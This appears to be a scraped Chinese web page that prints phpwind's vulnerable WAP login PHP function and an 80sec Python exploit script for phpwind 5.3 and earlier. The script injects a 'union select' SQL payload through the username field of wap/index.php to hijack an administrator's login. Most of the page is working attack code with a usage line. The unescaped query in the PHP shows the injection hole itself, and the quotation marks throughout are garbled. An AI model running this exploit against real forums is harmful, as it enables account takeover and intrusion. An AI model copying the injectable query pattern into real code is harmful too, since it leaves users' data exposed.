|
源代码网整理以下function wap_login($username,$password){
源代码网整理以下global $db,$timestamp,$onlineip,$db_ckpath,$db_ckdomain,$db_bbsurl;
源代码网整理以下$men=$db->get_one("SELECT m.uid,m.password,m.groupid,m.yz,md.onlineip FROM pw_members m LEFT JOIN pw_memberdata md ON md.uid=m.uid WHERE username="$username"");
源代码网整理以下if($men){
源代码网整理以下$e_login=explode("|",$men["onlineip"]);
源代码网整理以下if($e_login[0]!=$onlineip.’ *’ || ($timestamp-$e_login[1])>600 || $e_login[2]>1 ){
源代码网整理以下$men_uid=$men["uid"];
源代码网整理以下$men_pwd=$men["password"];
源代码网整理以下$check_pwd=$password;
源代码网整理以下if($men["yz"] > 2){
源代码网整理以下wap_msg(’c");
源代码网整理以下}
源代码网整理以下if(strlen($men_pwd)==16){
源代码网整理以下$check_pwd=substr($password,8,16);/*支持 16 位 md5截取密码*/
源代码网整理以下}
源代码网整理以下if($men_pwd==$check_pwd){
源代码网整理以下if(strlen($men_pwd)==16){
源代码网整理以下$db->update(”UPDATE pw_members SET password=’$password’ WHERE uid=’$men_uid’”);
源代码网整理以下}
源代码网整理以下$L_groupid=(int)$men["groupid"];
源代码网整理以下Cookie(”ck_info”,$db_ckpath.” ”.$db_ckdomain);
源代码网整理以下}else{
源代码网整理以下global $L_T;
源代码网整理以下$L_T=$e_login[2];
源代码网整理以下$L_T ? $L_T–:$L_T=5;
源代码网整理以下$F_login=”$onlineip *|$timestamp|$L_T”;
源代码网整理以下$db->update(”UPDATE pw_memberdata SET onlineip=’$F_login’ WHERE uid=’$men_uid’”);
源代码网整理以下wap_msg(’login_pwd_error’);
源代码网整理以下}
源代码网整理以下}else{
源代码网整理以下global $L_T;
源代码网整理以下$L_T=600-($timestamp-$e_login[1]);
源代码网整理以下wap_msg(’login_forbid’);
源代码网整理以下}
源代码网整理以下} else {
源代码网整理以下global $errorname;
源代码网整理以下$errorname=$username;
源代码网整理以下wap_msg(’user_not_exists’);
源代码网整理以下}
源代码网整理以下Cookie(”winduser”,StrCode($men_uid.” ”.PwdCode($password)));
源代码网整理以下Cookie(’lastvisit’,”,0);
源代码网整理以下wap_msg(’wap_login’,"index.php’);
源代码网整理以下}
源代码网整理以下甚至不用注册账户,只要精心构造username即可利用此漏洞。
源代码网整理以下漏洞利用:80sec提供exploit如下:
源代码网整理以下import urllib2,httplib,sys
源代码网整理以下httplib.HTTPConnection.debuglevel = 1
源代码网整理以下cookies = urllib2.HTTPCookieProcessor()
源代码网整理以下opener = urllib2.build_opener(cookies)
源代码网整理以下argvs=sys.argv
源代码网整理以下data = "db_wapifopen=1&prog=login&pwuser=shit%c1"union select "+argvs[2]+”,mid(md5(123456),9,16),3,1,5/*&pwpwd=123456″
源代码网整理以下pwurl = “%s” % argvs[1]
源代码网整理以下pwurl = pwurl + “wap/index.php”
源代码网整理以下print “
Phpwind Admin Pass Change Exploit”
源代码网整理以下print “Phpwind <=5.3 "
源代码网整理以下print "By 80sec "
源代码网整理以下print "python.exe "+argvs[0]+" http://www.80sec.com/pwforum/ 1
"
源代码网整理以下print "
[+]TargetForum: "+argvs[1]
源代码网整理以下print "[+]TargetId: "+argvs[2]
源代码网整理以下request = urllib2.Request(
源代码网整理以下url = pwurl ,
源代码网整理以下headers = {"Content-Type" : "application/x-www-form-urlencoded","User-Agent": "80sec owned this"},
源代码网整理以下data = data)
源代码网整理以下f=opener.open(request)
源代码网整理以下headers=f.headers.dict
源代码网整理以下try :
源代码网整理以下cookie=headers["set-cookie"]
源代码网整理以下if cookie.index("winduser") :
源代码网整理以下print "[+]Exploit Success"
源代码网整理以下else : print "[-]Exploit Failed"
源代码网整理以下except:
源代码网整理以下print "[-]Exploit Failed"
|